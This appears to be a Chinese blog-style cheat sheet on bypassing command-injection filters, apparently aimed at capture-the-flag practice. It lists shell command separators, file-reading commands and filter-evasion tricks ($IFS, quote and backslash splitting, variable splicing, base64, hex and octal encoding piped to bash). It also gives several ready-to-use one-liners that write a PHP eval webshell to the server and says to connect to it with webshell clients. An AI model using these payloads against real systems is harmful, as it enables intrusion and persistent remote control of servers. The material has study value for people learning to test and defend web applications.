RCE 注入過濾

一、命令連接符:

1、";”:執行完前面的語句再執行後面的語句。 2、“|”:顯示後面語句的執行結果。
3、“||”:當前面的語句執行出錯時,執行後面的語句。
4、“&”:兩條命令都執行,如果前面的語句爲假則執行執行後面的語句,前面的語句可真可假。
5、“&&”:如果前面的語句爲假則直接出錯,也不執行後面的語句,前面的語句爲真則兩條命令都執行,前面的語句只能爲真。
6、%0a“這個爲url編碼的換行符,不能在linux下直接使用需要通過php環境下”(在過濾掉前面幾種後可以考慮);

二、 查看文件內容的命令

1、“cat" 由第一行開始顯示,並將所有內容輸出。
2、“tac”與cat相反,從最後一行開始逐行輸出。
3、“more” 就是我們管道中常用的分頁顯示。
4、“head”可以顯示文本內容的前幾行
5、“tail”顯示末尾幾行
6、“nl”與cat -n 命令一樣,輸出內容並顯示行號 ;

三、通過命令行編寫webshell

1、 “linux":echo “<?php eval(@\$_POST['pass']);?>” > shell.php;
echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//與上一種異曲同工,知識轉成了16進制 |xxd是將16進制轉回去
2、 windos下:“echo ^<?php eval($_POST[pass]); ?^> > shell.php”

之後可以在網頁地址欄查看文件(shell.php),上傳成功後可以用菜刀或蟻劍連接查看

-----------------------------------過濾操作----------------------------------------

空格過濾:

繞過可以使用下面字符代替
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

注: $IFS在linux下表示分隔符,但是如果單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在後面加個$可以起到截斷的作用
,但是爲什麼要用$9呢,因爲$9只是當前系統shell進程的第九個參數的持有者,它始終爲空字符串。

以下兩種方法可以繞過特定的單詞(cat、flag等):

單引號和雙引號繞過
比如:ca’'t flag 或ca""t flag

反斜槓繞過
比如:ca\t fl\ag

過濾目錄分隔符 /
可以使用;和cd到目錄然後使用cat抓取

拼接繞過
比如:a=l;b=s;aab
aab就代表ls

編碼繞過:
base64

echo MTIzCg==|base64 -d 其將會打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通過這樣來寫webshell,內容爲<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章